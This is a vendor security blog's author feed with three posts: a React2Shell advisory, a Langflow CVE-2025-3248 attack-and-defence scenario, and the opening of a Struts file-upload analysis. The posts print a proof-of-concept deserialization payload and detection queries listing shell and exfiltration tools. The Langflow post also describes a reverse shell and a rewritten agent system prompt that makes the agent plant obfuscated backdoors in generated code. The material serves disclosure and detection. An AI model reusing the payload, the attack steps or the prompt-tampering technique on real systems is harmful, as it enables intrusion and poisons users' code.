Anis Bouchekhima | Dynatrace news https://www.dynatrace.com/news/blog/author/anis-bouchekhima/ The tech industry is moving fast and our customers are as well. Stay up-to-date with the latest trends, best practices, thought leadership, and our solution's biweekly feature releases. Wed, 04 Mar 2026 14:48:13 +0000 en hourly 1 CVE-2025-55182: React2Shell Critical Vulnerability — what it is and what to do https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/ https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/#respond Fri, 05 Dec 2025 14:55:34 +0000 https://www.dynatrace.com/news/?p=72128 Vulnerability Radar

TL;DR: A critical flaw in React’s Flight protocol (CVE-2025-55182) allows attackers to run code on servers using React Server Components. In short, if your organization uses React Server Components, Next.js, or related frameworks, attackers could potentially take control of your servers, making this a top priority for immediate action. What’s at risk? Vulnerable: React Server […]

The post CVE-2025-55182: React2Shell Critical Vulnerability — what it is and what to do appeared first on Dynatrace news.

]]>
Vulnerability Radar

TL;DR:

A critical flaw in React’s Flight protocol (CVE-2025-55182) allows attackers to run code on servers using React Server Components. In short, if your organization uses React Server Components, Next.js, or related frameworks, attackers could potentially take control of your servers, making this a top priority for immediate action.

Dynatrace is not affected by this vulnerability. For full details, please refer to this security alert post.

What’s at risk?

  • Vulnerable: React Server Components, Next.js, React Router, Waku, and several related frameworks.
  • Impacted: Any organization running affected versions in production.
  • Exploits: Proof-of-concept code is publicly available and active scanning is underway.
  • Remediation: Upgrade to patched versions now to prevent remote code execution.

Real-world scenario:

Imagine a production server running an unpatched version of Next.js. An attacker sends a crafted payload, triggering remote code execution, and gaining unauthorized access to your infrastructure. The window between disclosure and exploitation is shrinking—don’t wait to act.

Immediate steps:

What is React2Shell (CVE-2025-55182)?

A critical vulnerability called React2Shell has been discovered in React’s Flight protocol that could allow attackers to execute arbitrary code on servers running React Server Components. CVE-2025-55182 affects multiple popular frameworks, including Next.js, React Router, and Waku, with exploitation possible under default configurations. While no verified public exploits exist yet, the severity and widespread nature of this vulnerability make immediate patching essential. Organizations using React Server Components should prioritize upgrading to patched versions to protect their applications from potential remote code execution attacks.

How to fix React2Shell vulnerability (CVE-2025-55182): patching guide

To address this vulnerability, it is recommended to upgrade to the patched versions of the affected packages.

Upgrade react-server-dom-* packages to one of the following versions, or higher:

  • 19.0.1
  • 19.1.2
  • 19.2.1

Upgrade Next.js to one of the following versions, or higher:

  • 15.0.5
  • 15.1.9
  • 15.2.6
  • 15.3.6
  • 15.4.8
  • 15.5.7
  • 16.0.7
Two additional vulnerabilities have been found in React Server Components (RSC). They affect packages that have been patched for the original React2Shell vulnerability (CVE-2025-55182), which are listed above. None of the additional vulnerabilities allows Remote Code Execution. Upgrade again to the latest patched versions listed below.

Technical details of the React2Shell vulnerability

CVE-2025-55182 is an unsafe deserialization vulnerability in React’s Flight protocol, affecting server component payloads. This flaw allows attackers to craft malicious payloads that, when processed by the server, can lead to unauthenticated remote code execution. Exploitation is possible under the default configuration of several popular frameworks, making the vulnerability critical and widely exploitable.

Which React and Next.js versions are vulnerable?

The following packages are vulnerable to CVE-2025-55182 because they implement parts of React’s Flight protocol, which handles server component payloads and is the source of the unsafe deserialization flaw:

Package Affected Versions
react-server-dom-parcel (npm) 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack (npm) 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-webpack (npm) 19.0, 19.1.0, 19.1.1, 19.2.0

Frameworks that implement React Server Components and rely on these packages are also affected. These include: Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, and rwsdk.

The react and react-dom libraries are not impacted because they do not include the Flight protocol or any server-side component handling. Environments that render React exclusively on the client, or that do not integrate frameworks, bundlers, or plugins supporting React Server Components, remain outside the scope of this vulnerability.

The related vulnerability, CVE-2025-66478, was initially published for Next.js and marked as critical. It was later rejected and classified as a duplicate of CVE-2025-55182, because the root cause lies in Next.js depending on vulnerable React packages that implement the Flight protocol.

While the dependency link is correct, Next.js does not rely on the npm ecosystem to resolve these React Server Component packages. Instead, Next.js includes compiled versions of the react-server-dom-* packages directly in its repository. This means that upgrading React in isolation will not remediate the vulnerability for Next.js users because the vulnerable code is embedded within Next.js itself.

The following Next.js versions are affected:

Package Affected Versions
next (npm) >= 14.3.0-canary.77, < 15.0.5
>= 15.2.0-canary.0, < 15.2.6
>= 15.3.0-canary.0, < 15.3.6
>= 15.4.0-canary.0, < 15.4.8
>= 16.0.0-canary.0, < 16.0.7
>= 15.1.0-canary.0, < 15.1.9
>= 15.5.0-canary.0, < 15.5.7

On December 11, 2025, two additional vulnerabilities were discovered in React Server Components, affecting the react-server-dom-* and Next.js packages:

For the Denial of Service vulnerability, there are two CVE numbers due to an incomplete fix for the first CVE.

We recommend updating the affected packages to the latest patch version, as outlined below:

Package Affected versions Fixed in
next (npm) >=13.3 Upgrade to 14.2.35
14.x 14.2.35
15.0.x 15.0.7
15.1.x 15.1.11
15.2.x 15.2.8
15.3.x 15.3.8
15.4.x 15.4.10
15.5.x 15.5.9
15.x canary 15.6.0-canary.60
16.0.x 16.0.10
16.x canary 16.1.0-canary.19
react-server-dom-webpack (npm)
react-server-dom-turbopack (npm)
react-server-dom-webpack (npm)
19.0.x 19.0.3
19.1.x 19.1.4
19.2.x 19.2.3

Are there working exploits for React2Shell vulnerability?

Proof-of-concept exploits for React2Shell (CVE-2025-55182) have been developed and made publicly available. The vulnerability has also been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, confirming active exploitation. Additionally, the vulnerability reporter has published several exploit variants on GitHub:

lachlan2k/React2Shell-CVE-2025-55182-original-poc.

const payload = { 
    '0': '$1', 
    '1': { 
        'status':'resolved_model', 
        'reason':0, 
        '_response':'$4', 
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 
        'then':'$2:then' 
    }, 
    '2': '$@3', 
    '3': [], 
    '4': { 
        '_prefix':'console.log(7*7+1)//', 
        '_formData':{ 
            'get':'$3:constructor:constructor' 
        }, 
        '_chunks':'$2:_response:_chunks', 
    } 
} 
  

The root cause of this vulnerability lies in how React’s Flight protocol processes incoming data. The data is processed as chunks, as seen above, which can reference each other, denoted by the $ symbols. The exploit takes advantage of this behavior along with a bug caused by missing attribute checks, which allows access to properties such as constructor. The fix for the attribute check can be seen in the patch here.

The crafted payload chains internal gadgets to create a Promise-like object with an attacker-controlled “.then” property. During deserialization, these Promise-like objects are automatically resolved, which results in code execution.

The vulnerability is actively being scanned in the wild, significantly increasing the risk for organizations running vulnerable versions of affected packages. Given the critical nature of React2Shell and the existence of working exploits, immediate remediation is strongly advised.

Detecting React2Shell (CVE-2025-55182) with Runtime Vulnerability Analytics

You can use Dynatrace Runtime Vulnerability Analytics to detect if vulnerable React Server Component packages or Next.js packages are present by filtering for CVE-2025-55182 in the app.

Dynatrace Runtime Vulnerability Analytics

Bottom Line: If you’re running React Server Components or Next.js in production, review your dependencies immediately and upgrade to patched versions.

Searching for React2Shell vulnerable components (CVE-2025-55182) with DQL

You can also use Smartscape to manually search for vulnerable software components.

fetch dt.entity.software_component
  | fieldsAdd vulnerable =  if(in(entity.name, {
      "react-server-dom-parcel:19.0",
      "react-server-dom-parcel:19.1.0",
      "react-server-dom-parcel:19.1.1",
      "react-server-dom-parcel:19.2.0",
      "react-server-dom-webpack:19.0",
      "react-server-dom-webpack:19.1.0",
      "react-server-dom-webpack:19.1.1",
      "react-server-dom-webpack:19.2.0",
      "react-server-dom-turbopack:19.0",
      "react-server-dom-turbopack:19.1.0",
      "react-server-dom-turbopack:19.1.1",
      "react-server-dom-turbopack:19.2.0"
      }), true)

  // Make sure to check if the found next version is vulnerable   
  | fieldsAdd potentially_vulnerable = 
      startsWith(entity.name, "next:14.3.0") or
      startsWith(entity.name, "next:15") or
      startsWith(entity.name, "next:16")
 
  | filter
      vulnerable == true or
      potentially_vulnerable == true

Important note: When using this manual search method (as opposed to Runtime Vulnerability Analytics), you’ll need to:

  • Manually and reactively search for affected versions whenever an incident occurs
  • Work without the additional context and guidance that RVA provides, such as:
    • Davis Security Score
    • Public internet exposure analysis
    • Exploit availability information

How to detect React2Shell (CVE-2025-55182) exploitation activity

If you have logs containing process execution events, you can detect the common attack patterns (tactics, techniques, and procedures or TTPs) that adversaries use when exploiting vulnerabilities like CVE-2025-55182.

The Dynatrace platform can ingest data from any source that provides this information. The following example (with an alternate for Windows systems) uses Tetragon as the data source. By combining these logs with Smartscape attributes, you get full context for detecting exploitation activity—which helps reduce false positives and speeds up investigations.

// Adjust timeframe accordingly
fetch logs, 
  from: -14d,
  scanLimitGBytes: -1

// We use Tetragon as an example, any source for process execution could be used
| filter log.source == "Container Output"
| filter k8s.workload.name == "tetragon"
| parse content, "JSON:content"

// Filter on process start events
| filter isNotNull(content[process_exec])

// Add fields for further processing
| fieldsAdd k8s.pod.uid = content[process_exec][process][pod][uid]
| fieldsAdd process.parent.executable.path = content[process_exec][parent][binary]
| fieldsAdd process.parent.executable.name = splitString(process.parent.executable.path, "/")[-1]
| fieldsAdd process.executable.path = content[process_exec][process][binary]
| fieldsAdd process.executable.name = splitString(process.executable.path, "/")[-1]
| fieldsAdd process.cmd_line = concat(process.executable.path, " ", content[process_exec][process][arguments])
| fieldsRemove k8s.deployment.name

// Filter on node instances
| filter in(lower(process.parent.executable.name), {
    "node",
    "bun"
  })

// Filter for common shell processes
| filter in(lower(process.executable.name), {
    "ash",
    "bash",
    "bash-static",
    "busybox",
    "csh",
    "dash",
    "fish",
    "ksh",
    "lksh",
    "mksh",
    "mksh-static",
    "posh",
    "rksh",
    "rksh93",
    "sash",
    "static-sh",
    "sh",
    "tcsh",
    "yash",
    "zsh" 
  }) and iAny(contains(lower(process.cmd_line), array(
    "cat",
    "curl",
    "dig",
    "env",
    "head",
    "hostid",
    "hostname",
    "id",
    "ifconfig",
    "ip",
    "install",
    "less",
    "mkfifo",
    "more",
    "nc",
    "ncat",
    "netcat",
    "netstat",
    "nslookup",
    "perl",
    "ping",
    "pwd",
    "route",
    "socat",
    "shred",
    "ss",
    "stat",
    "tail",
    "tee",
    "uname",
    "wget",
    "who",
    "whoami",
    "/dev/tcp",
    "/dev/udp",
    "/etc/passwd",
    "/etc/shadow"
  )[], caseSensitive: false)) or in(lower(process.executable.name), {
    "cat",
    "curl",
    "dig",
    "env",
    "head",
    "hostid",
    "hostname",
    "id",
    "ifconfig",
    "ip",
    "install",
    "less",
    "mkfifo",
    "more",
    "nc",
    "ncat",
    "netcat",
    "netstat",
    "nslookup",
    "perl",
    "ping",
    "pwd",
    "route",
    "socat",
    "shred",
    "ss",
    "stat",
    "tail",
    "tee",
    "uname",
    "wget",
    "who",
    "whoami"
  })

// Get smartscape data for affected entity
| join [
    smartscapeNodes "K8S_POD"
],
on: { k8s.pod.uid },
kind: leftOuter,
fields: {
  k8s.node.name,
  k8s.namespace.name,
  k8s.workload.name,
  k8s.workload.kind,
  k8s.pod.name,
  id_classic
}
fetch logs
| filter winlog.eventid == "1"
| parse content, """
    LD CR LF
    'RuleName: 'LD:RuleName CR LF
    'UtcTime: 'LD:UtcTime CR LF
    'ProcessGuid:' LD:ProcessId CR LF
    'ProcessId: 'LD:PorcessId CR LF
    'Image: 'LD:Image CR LF
    'FileVersion: 'LD:FileVersion CR LF
    'Description: 'LD:Description CR LF
    'Product: ' LD:Product CR LF
    'Company: ' LD:Company CR LF
    'OriginalFileName: ' LD:OriginalFileName CR LF
    'CommandLine: ' LD:CommandLine CR LF
    'CurrentDirectory: ' LD:CurrentDirectory CR LF
    'User: ' LD:User CR LF
    'LogonGuid: ' LD:LogonGuid CR LF
    'LogonId: ' LD:LoginId CR LF
    'TerminalSessionId: ' LD:TerminalSessionId CR LF
    'IntegrityLevel: ' LD:IntegrityLevel CR LF
    'Hashes: ' LD:Hashes CR LF
    'ParentProcessGuid: ' LD:ParentProcessGuid CR LF
    'ParentProcessId: ' LD:ParentProcessId CR LF
    'ParentImage: ' LD:ParentImage CR LF
    'ParentCommandLine: ' LD:ParentCommandLine CR LF
    'ParentUser: ' LD:ParentUser
    """

| filter iAny(endsWith(ParentImage, array(
    "node.exe",
    "bun.exe")[], caseSensitive: false))
| filter iAny(contains(CommandLine, array(
    "-enc",
    "-EncodedCommand",
    "-w hidden",
    "-windowstyle hidden",
    "Test-NetConnection"
  )[], caseSensitive: false)) or in(lower(OriginalFileName), {
    "cmd.exe",
    "powershell.exe",
    "pwsh.exe",
    "arp.exe",
    "at.exe",
    "bash.exe",
    "bitsadmin.exe",
    "certutil.exe",
    "csript.exe",
    "dsget.exe",
    "dsquery.exe",
    "find.exe",
    "findstr.exe",
    "hostname.exe",
    "ipconfig.exe",
    "nbtstat.exe",
    "net.exe",
    "net1.exe",
    "netsh.exe",
    "netstat.exe",
    "nslookup.exe",
    "ntdsutil.exe",
    "reg.exe",
    "rundll32.exe",
    "sc.exe",
    "schtasks.exe",
    "systeminfo.exe",
    "tasklist.exe",
    "tracert.exe",
    "ver.exe",
    "wevtutil.exe",
    "whoami.exe",
    "wmic.exe",
    "wscript.exe"
  })

How to detect suspicious React2Shell (CVE-2025-55182) requests

Most React2Shell exploits work by sending special HTTP headers. 

  • In Next.js apps, this header is next-action. 
  • In other apps, it may be rsc-action-id. 

Some public exploit PoCs also exfiltrate data using query parameters during redirects. In Next.js, these values appear in the x-action-redirect response header. 

Capturing these headers with Dynatrace OneAgent

Dynatrace OneAgent can record these headers as custom request attributes. For setup and configuration instructions, go to Capture request attributes based on web request data.

Use the following settings: 

  1. For next-action or rsc-action-id 
    1. Data source: HTTP request header 
    2. Capture on: Server side 
  2. For x-action-redirect 
    1. Data source: HTTP response header 

We recommend setting multi-value capture to “All distinct values.” 

If real-time updates are disabled in Dynatrace, make sure to restart all affected processes so the changes can take effect. 

Capturing headers with OpenTelemetry

If you’re using OpenTelemetry instead of OneAgent, you can also capture the same request and response headers. (See: https://opentelemetry.io/docs/zero-code/java/agent/instrumentation/http/) 

Detect suspicious requests using DQL

In both cases, you can use the following DQL queries to fetch all the requests that use one of the relevant headers. 

fetch spans

// Filter for relevant spans coming from a nodejs agent or via OpenTelemetry,
// which are a server span for a POST request
| filter (dt.openpipeline.source == "oneagent" AND dt.agent.module.type == "nodejs") OR
    dt.openpipeline.source == "/api/v2/otlp/v1/traces"
| filter span.kind == "server"
| filter http.request.method == "POST"

// update the values on the right hand side to use the name of the request attribute configured
| fieldsRename request_attribute.next_action_header = `request_attribute.next-action header`
| fieldsRename request_attribute.rsc_action_id_header = `request_attribute.rsc-action-id header`
| fieldsRename request_attribute.x_action_redirect_header = `request_attribute.x-action-redirect header`

// Collect all spans with one of the relevant headers set
| filter
    isNotNull(`http.request.header.next-action`) OR
    isNotNull(request_attribute.next_action_header) OR
    isNotNull(`http.request.header.rsc-action-id`) OR
    isNotNull(request_attribute.rsc_action_id_header)

// Collect all unique action IDs from each request into a single field
| fieldsAdd action_id = arrayDistinct(
    arrayRemoveNulls(
      arrayConcat(
        array(
          `http.request.header.next-action`,
          `http.request.header.rsc-action-id`
        ),
        arrayFlatten(array(request_attribute.next_action_header)),
        arrayFlatten(array(request_attribute.rsc_action_id_header))
      )
    )
  )
| expand action_id

// Collect action redirect response header values
| fieldsAdd action_redirect = arrayDistinct(
    arrayRemoveNulls(
      arrayConcat(
        array(`http.response.header.x-action-redirect`),
        arrayFlatten(array(request_attribute.x_action_redirect_header))
      )
    )
  )

// Count usage for each action ID per process group
| summarize {
    count = count(),
    actor.ips = arrayDistinct(arrayRemoveNulls(collectDistinct(client.ip))),
    traces = collectDistinct(trace.id),
    action_redirects = arrayDistinct(arrayRemoveNulls(arrayFlatten(collectDistinct(action_redirect))))
  },
  by: {
    action_id,
    dt.entity.process_group
  }

| fieldsAdd dt.process_group.name = entityName(dt.entity.process_group)

Review the results for requests that use suspicious action IDs. Many public exploit PoCs set the next-action header to a static value, such as “x”.

You can also review the x-action-redirect header values for suspicious values.

Detecting Crypto Miners After React2Shell Exploitation

Attackers exploiting the React2Shell vulnerability commonly deploy cryptocurrency miners on compromised systems. These miners consume significant CPU resources, meaning an affected application or service will often show abnormally high CPU usage shortly after exploitation. 

To proactively hunt for this activity, you can correlate observability data (such as CPU metrics) with vulnerability data in a single DQL query. This approach helps identify workloads that are both: 

  1. Vulnerable to React2Shell, and 
  2. Exhibiting sudden or sustained CPU spikes consistent with crypto-mining behavior. 

Below is an example query pattern you can use. Adjust the metrics, thresholds, and entity types to fit your environment and detection strategy. 

timeseries sum(dt.kubernetes.container.cpu_usage, default: 0, rollup: sum, rate: 1m), nonempty: true, by:{dt.entity.container_group_instance}

| join [
    fetch dt.entity.software_component
      | fieldsAdd vulnerable =  if(in(entity.name, {
          "react-server-dom-parcel:19.0",
          "react-server-dom-parcel:19.1.0",
          "react-server-dom-parcel:19.1.1",
          "react-server-dom-parcel:19.2.0",
          "react-server-dom-webpack:19.0",
          "react-server-dom-webpack:19.1.0",
          "react-server-dom-webpack:19.1.1",
          "react-server-dom-webpack:19.2.0",
          "react-server-dom-turbopack:19.0",
          "react-server-dom-turbopack:19.1.0",
          "react-server-dom-turbopack:19.1.1",
          "react-server-dom-turbopack:19.2.0"
          }), true)
    
    // Make sure to check if the found next version is vulnerable   
    | fieldsAdd potentially_vulnerable = 
        startsWith(entity.name, "next:14.3.0") or
        startsWith(entity.name, "next:15") or
        startsWith(entity.name, "next:16")
    
    | filter
        vulnerable == true or
        potentially_vulnerable == true
    
    | fieldsAdd dt.entity.process_group_instance = belongs_to[dt.entity.process_group_instance]
    | expand dt.entity.process_group_instance

    | join [
       fetch dt.entity.process_group_instance
      | fieldsAdd dt.entity.container_group_instance = belongs_to[dt.entity.container_group_instance]   
    ],
    on: { left[dt.entity.process_group_instance] == right[id]},
    fields: { dt.entity.container_group_instance }
], 
on: { dt.entity.container_group_instance }

Take action now

CVE-2025-55182 poses a critical threat to organizations using React Server Components in production, as public exploits are already available and actively being used.

Here’s what you should do immediately:

  1. Audit your environment. Identify all applications using React Server Components, Next.js, or related frameworks.
  2. Upgrade dependencies. Apply the patched versions listed in the mitigation section above.
  3. Verify remediation. Use Dynatrace Runtime Vulnerability Analytics or similar tools to confirm vulnerable packages have been eliminated.
  4. Monitor continuously. Implement ongoing vulnerability scanning to catch issues before they become incidents.

The combination of critical severity, default exploitability, and widespread framework adoption makes this vulnerability a top priority for security and development teams. Take action today to protect your applications and infrastructure.

Need help assessing your exposure?

Learn more about Dynatrace Runtime Vulnerability Analytics and how it can help you identify and prioritize vulnerabilities across your entire application portfolio.

The post CVE-2025-55182: React2Shell Critical Vulnerability — what it is and what to do appeared first on Dynatrace news.

]]>
https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/feed/ 0
Remediating CVE-2025-3248: How Dynatrace Application Security protects Agentic AI applications https://www.dynatrace.com/news/blog/remediating-cve-2025-3248-how-dynatrace-application-security-protects-agentic-ai-applications/ https://www.dynatrace.com/news/blog/remediating-cve-2025-3248-how-dynatrace-application-security-protects-agentic-ai-applications/#respond Mon, 13 Oct 2025 17:15:26 +0000 https://www.dynatrace.com/news/?p=71338 Threat Research

Agentic AI is accelerating productivity and efficiency across industries, but its growing role also brings serious security concerns that need to be considered now. For example, a recent vulnerability in Langflow, a visual programming tool for creating agents, illustrates how even well-designed tools can expose unexpected risks when integrated into real-world workflows. Designated CVE-2025-3248, the vulnerability leaves systems susceptible to an unauthenticated attacker sending HTTP requests to execute arbitrary code.

The post Remediating CVE-2025-3248: How Dynatrace Application Security protects Agentic AI applications appeared first on Dynatrace news.

]]>
Threat Research

In this blog, we’ll demonstrate how attackers exploiting CVE-2025-3248 can use traditional attack techniques to manipulate AI agent behavior and plant a malicious backdoor in AI-generated source code.

To help mitigate the risks posed by vulnerabilities in agentic AI frameworks, we show how Dynatrace Cloud Application Detection and Response (CADR) detects malicious activity to protect both the agents and the environment they run in.

The attacker’s perspective: What is CVE-2025-3248 and how to exploit it?

The critical vulnerability CVE-2025-3248 in the Langflow framework leads to remote code execution (RCE) due to the ability to perform code injection (CWE-94) by unauthenticated users (CWE-306). Dynatrace security researchers discovered that in addition to affecting the Python package langflow v1.3.0 and below, the package langflow-base v0.3.0 and below are also vulnerable.

Attacker scenario Langflow Framework

In our scenario, an attacker exploits this vulnerability to get remote access to the container running Langflow. The attacker manipulates the instructions to the LLM in the AI agent to inject a backdoor into generated code functions as shown in the figure above.

Let’s step back and take a look at the process from the beginning. The figure below shows the user interface of Langflow. To configure the agent, a benign system prompt saying “You are a programming assistant. Respond to technical queries with clarity, accuracy, and efficiency” is used in the setup. The user can interact with the agent through a chat input and receives answers through a chat output window. The agent can also be exposed and integrated into an external application using an API.

Agent prompt to expose and integrate agent into an external application using an API

In our setup, the Langflow framework is deployed on a Kubernetes cluster and is accessible to users to work on specific tasks, such as using the agent to generate source code. The attacker in our scenario uses one of the public exploits for CVE-2025-3248 to inject and execute attacker-controlled code into the container, like reading the /etc/passwd file as shown below.

Exploit example

The attacker then opens a reverse shell to execute more commands on the application host and further compromise the system. Specifically, the attacker establishes a connection using port 7777 to facilitate command execution on the container. Opening a reverse shell enables the attacker to be much quieter when executing certain commands, since the initial exploit script causes an exception which is visible in the log files.

Reverse Shell

Reverse Shell

To further penetrate the system, the attacker searches for the SQLite database used by Langflow and then proceeds to enumerate user accounts, credentials, and flows. They could exfiltrate the data or alter it in the database, further compromising the integrity and security of the system.

In the default deployment configuration of Langflow, which uses a local SQLite database, the attacker can access this data without needing any credentials. If Langflow is configured to use a different database backend (e.g., PostgreSQL), the attacker may still be able to retrieve the necessary credentials by inspecting environment variables.

Reverse Shell

The attacker then changes the system prompt of the AI agent to a malicious one in the database to make the AI agent inject a backdoor into generated code and obfuscate it.

Reverse Shell

Now, when a user requests the agent to generate a code snippet, it would include an obfuscated malicious portion with a code comment telling the user that the code is there to ensure backwards compatibility and not to remove it, as seen below.

LLM Output

While this might appear to be obviously suspicious code, the risk increases significantly when the agent is tasked with producing larger or more complex codebases. In such cases, users may be inclined to run the code without thoroughly reviewing or verifying its contents. The potential impact becomes even more serious if the Agentic AI is integrated into development environments where it can test and execute code directly on a developer’s machine.

The defender’s perspective: How the Dynatrace CADR approach helps

Dynatrace CADR approach diagram

Dynatrace enables the detection and prevention of the type of attacks described above on multiple layers: By detecting the vulnerability as the entry door for the attacker, identifying misconfigurations that enable an attack to penetrate the system, and investigating suspicious traces caused by the exploit.

Let’s walk through an example scenario that explores all three layers. The journey begins when Dynatrace workflows notifies a Site Reliability Engineer (SRE) on Slack about a Python exception through Dynatrace workflows.

Dynatrace SRE Slack Bot Message

This encourages the SRE to have a closer look at the affected container, which has a critical vulnerability that is detected and visible in the Vulnerabilities App. Investigating the affected container also shows several misconfigurations in the Security Posture Management App which leads the SRE to align with internal security analysts and start a deeper investigation using the Security Investigator App.

Site Reliability Engineer Defender scenario diagram

First layer of defense: Detecting CVE-2025-3248 with Runtime Vulnerability Analytics

The version of the Langflow framework we installed contains the recent critical vulnerability CVE-2025-3248 which is detected right away by Dynatrace’s Runtime Vulnerability Analytics as shown below.

Third Party Vulnerabilities dashboard in Dynatrace screenshot

Agentic AI frameworks are often based on Python and the recently introduced ability in Dynatrace to detect Python vulnerabilities at runtime provides immediate information about potential doors for attackers. Applying the recommended fix outlined in the vulnerabilities app would prevent an attacker from exploiting the system.

Second layer of defense: Identifying misconfigurations with Security Posture Management (SPM)

Specific configurations in complex systems enable attackers to perform certain actions to penetrate through a system and achieve their goal.

In our scenario, the attacker employs a reverse shell, which is a common tactic used to enable remote command execution. In the current configuration of our Kubernetes cluster a network policy is missing which is shown in the SPM app.

SPM Network policy failed notification

To address the tactic of deploying a reverse shell, implementing a network policy that restricts all outbound connections, except for HTTP/S ports, serves as an effective countermeasure, while allowing essential web access for the AI Agent.

Applying network policies across a Kubernetes cluster is a security best practice, as outlined in benchmarks like those from the Center for Internet Security (CIS). The Dynatrace Security Posture Management application can identify and prevent such misconfigurations. In our scenario, as shown below, we apply a network policy to the langflow namespace which prevents attackers from using random ports for a reverse shell.

all Namespaces have Network Policies defined check

Although the network policy in our scenario does not entirely protect against advanced attack techniques, as attackers may circumvent restrictions, they increase the complexity and difficulty of executing successful attacks. By adopting these SPM rules, best practices can be enforced to effectively reduce the attack surface. Adjusting deployment configurations and aligning them with compliance benchmarks, organizations can significantly reduce the risk of successful compromises. Good compliance practice will further reduce the blast radius in case of a successful attack, for example by preventing attackers from escaping a compromised container.

As we can see in the screenshot below, when the network policy is configured, the attacker is unable to establish a reverse shell connection. See the figure below with the message “Exploit failed with status 200”. This makes the traces of the attack more noisy and visible in the log files and allows analysts to draw conclusions more easily.

Failed Reverse Shell

Third layer of defense: Tracing the exploit with the Security Investigator

After being notified by a workflow automation our analyst runs a query in the Security Investigator to check for exceptions on any of the monitored Kubernetes clusters and receives a number of outputs as shown below.

Security Investigator Exception

Tracing the cause of the exception in the log entries, the analyst discovers the following suspicious log lines showing the command and its output executed by the attacker.

Log content

Based on this, the analyst decides to further investigate this activity and discovers multiple attacker activities as shown below.

Security Investigator Suspicious Activity

Filtering out the relevant content from the log entries of the affected container reveals the different steps performed by the attacker, such as executing shell commands and deploying a reverse shell to further penetrate the system and manipulate the AI agent.

Conclusion

The exploitation of CVE-2025-3248 demonstrates how traditional attack techniques—like remote code execution and reverse shells—can be repurposed to compromise agentic AI systems. As these frameworks become more deeply embedded in enterprise workflows, the attack surface will continue to expand, and the stakes will grow higher.

Securing agentic AI isn’t just about patching vulnerabilities. It’s about anticipating how attackers will adapt and evolve. The Dynatrace multi-layered approach, combining runtime vulnerability analytics, security posture management, and deep log investigation, provides a robust foundation for defending these dynamic environments.

The post Remediating CVE-2025-3248: How Dynatrace Application Security protects Agentic AI applications appeared first on Dynatrace news.

]]>
https://www.dynatrace.com/news/blog/remediating-cve-2025-3248-how-dynatrace-application-security-protects-agentic-ai-applications/feed/ 0
The anatomy of broken Apache Struts 2: A technical deep dive into CVE-2024-53677 https://www.dynatrace.com/news/blog/the-anatomy-of-broken-apache-struts-2-a-technical-deep-dive-into-cve-2024-53677/ https://www.dynatrace.com/news/blog/the-anatomy-of-broken-apache-struts-2-a-technical-deep-dive-into-cve-2024-53677/#respond Tue, 25 Feb 2025 21:46:18 +0000 https://www.dynatrace.com/news/?p=67936 abstract image of a globe on a dark background representing NGINX vulnerability IngressNightmare and secure user identity and sign-in logs

Apache Struts 2 has a history of critical vulnerabilities. The vulnerability allows attackers to manipulate file upload parameters, possibly leading to remote code execution. While Struts version 6.4.0 introduced a new file upload mechanism ActionFileUploadInterceptor to replace the legacy FileUploadInterceptor, upgrading alone does not mitigate the risk. Applications must migrate to the new mechanism, as […]

The post The anatomy of broken Apache Struts 2: A technical deep dive into CVE-2024-53677 appeared first on Dynatrace news.

]]>
abstract image of a globe on a dark background representing NGINX vulnerability IngressNightmare and secure user identity and sign-in logs

Apache Struts 2 has a history of critical vulnerabilities. The vulnerability allows attackers to manipulate file upload parameters, possibly leading to remote code execution.

A high-level overview of how an attacker can exploit a CVE-2024-53677 vulnerable Struts application to upload a web shell into a web-accessible directory and then remotely execute commands on the web server via the web shell.
Figure 1. A high-level overview of how an attacker can exploit a CVE-2024-53677 vulnerable Struts application to upload a web shell into a web-accessible directory and then remotely execute commands on the web server via the web shell.

While Struts version 6.4.0 introduced a new file upload mechanism ActionFileUploadInterceptor to replace the legacy FileUploadInterceptor, upgrading alone does not mitigate the risk. Applications must migrate to the new mechanism, as using the deprecated file upload mechanism leaves systems vulnerable. Complete mitigation is only guaranteed in Struts version 7.0.0 and later, where the legacy class is fully removed.

This blog post dissects the vulnerability, explains how Struts processes file uploads, details the exploit mechanics, and outlines mitigation strategies. Developers and security professionals should take immediate steps to ensure the security of their Struts-based applications.

Introduction

Apache Struts 2 is a widely used Java framework for web applications, valued for its flexibility and Model-View-Controller (MVC) architecture. However, its history is marked by critical security flaws leading to data breaches.

According to a 2017 article, attackers exploited an unpatched Apache Struts vulnerability (CVE-2017-5638) to expose the sensitive information of over 145 million people. It was reported that the breach resulted from delayed patching, proving how one unaddressed flaw can have detrimental consequences.

The latest vulnerability, CVE-2024-53677, was published in December 2024. It is a critical flaw in the file upload mechanism. This allows attackers to manipulate file upload parameters, leading to unauthorized file placement and potentially remote code execution (RCE).

Implementing file upload with Apache Struts 2

The Struts 2 framework simplifies file uploads by automatically storing uploaded files in a temporary location and passing the file data to the action class. This allows developers to easily access and process the file without handling the upload mechanics directly.

To implement file uploads, the developer would simply need to configure an action mapping, create a form with a file input field, and write an action class that accepts a file. When executed, the action class processes the file by either reading its content or moving it to an uploads folder for later access.

Here’s an example of what the action class should look like.

public class UploadAction extends ActionSupport  {
    private static final String UPLOAD_DIR = "/uploads";
    private File file;
    private String fileFileName;
    private String fileContentType;
    
    public String execute() {
        if (fileFileName == null) return INPUT; // show file upload form page
        try {
            File destFile = new File(UPLOAD_DIR, fileFileName);
            FileUtils.copyFile(file, destFile); // copy file to uploads folder 
            return SUCCESS; // show success page
        } catch (Exception e) {return ERROR;} // file upload failed; show error page
    }
    // constructors, getters, setters, ...
}

In this scenario, the files are stored in the /uploads folder, which is not accessible via the web server.

The corresponding file upload form for the action is as follows:

<s:form action="upload" method="post" enctype="multipart/form-data">
<s:file name="file"/>
<s:submit/>
</s:form>

Notice that the file form field’s name is “file”, and the corresponding attributes in the action class are file, fileFileName, and fileContentType. The file prefix in these attributes corresponds to the form field name.

How does file upload work in Struts?

Before investigating the vulnerability, we need to understand the file upload mechanics and examine some key Struts concepts relevant to it.

Value stack

